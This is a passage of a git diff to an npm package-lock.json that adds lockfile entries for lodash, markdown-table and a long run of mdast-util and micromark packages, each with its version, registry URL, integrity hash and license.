"MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", @@ -2380,12 +2788,34 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" + }, "node_modules/lodash.merge": { "version": "4.6.2", "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", "dev": true }, + "node_modules/lodash.snakecase": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz", + "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==", + "license": "MIT" + }, + "node_modules/longest-streak": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", + "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/luxon": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.7.2.tgz", @@ -2395,6 +2825,12 @@ "node": ">=12" } }, + "node_modules/magic-bytes.js": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/magic-bytes.js/-/magic-bytes.js-1.13.0.tgz", + "integrity": "sha512-afO2mnxW7GDTXMm5/AoN1WuOcdoKhtgXjIvHmobqTD1grNplhGdv3PFOyjCVmrnOZBIT/gD/koDKpYG+0mvHcg==", + "license": "MIT" + }, "node_modules/magic-string": { "version": "0.30.21", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", @@ -2405,6 +2841,780 @@ "@jridgewell/sourcemap-codec": "^1.5.5" } }, + "node_modules/markdown-table": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz", + "integrity": "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/mdast-util-find-and-replace": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.2.tgz", + "integrity": "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "escape-string-regexp": "^5.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz", + "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark": "^4.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-3.1.0.tgz", + "integrity": "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==", + "license": "MIT", + "dependencies": { + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-gfm-autolink-literal": "^2.0.0", + "mdast-util-gfm-footnote": "^2.0.0", + "mdast-util-gfm-strikethrough": "^2.0.0", + "mdast-util-gfm-table": "^2.0.0", + "mdast-util-gfm-task-list-item": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-autolink-literal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-2.0.1.tgz", + "integrity": "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "ccount": "^2.0.0", + "devlop": "^1.0.0", + "mdast-util-find-and-replace": "^3.0.0", + "micromark-util-character": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-footnote": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-2.1.0.tgz", + "integrity": "sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.1.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-strikethrough": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.0.tgz", + "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-table": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-2.0.0.tgz", + "integrity": "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "markdown-table": "^3.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-task-list-item": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-2.0.0.tgz", + "integrity": "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-phrasing": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz", + "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz", + "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "longest-streak": "^3.0.0", + "mdast-util-phrasing": "^4.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "unist-util-visit": "^5.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz", + "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", + "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz", + "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-destination": "^2.0.0", + "micromark-factory-label": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-title": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-html-tag-name": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-3.0.0.tgz", + "integrity": "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==", + "license": "MIT", + "dependencies": { + "micromark-extension-gfm-autolink-literal": "^2.0.0", + "micromark-extension-gfm-footnote": "^2.0.0", + "micromark-extension-gfm-strikethrough": "^2.0.0", + "micromark-extension-gfm-table": "^2.0.0", + "micromark-extension-gfm-tagfilter": "^2.0.0", + "micromark-extension-gfm-task-list-item": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz", + "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==", + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-footnote": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz", + "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-strikethrough": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-2.1.0.tgz", + "integrity": "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-table": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.1.tgz", + "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-tagfilter": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-2.0.0.tgz", + "integrity": "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==", + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-task-list-item": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-2.1.0.tgz", + "integrity": "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-factory-destination": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", + "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz", + "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-space": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz", + "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz", + "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz", + "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz", + "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz", + "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-chunked": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz", + "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-string": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz", + "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", + "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-html-tag-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", + "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz", + "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz", + "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz", + "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz", + "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz", + "integrity": 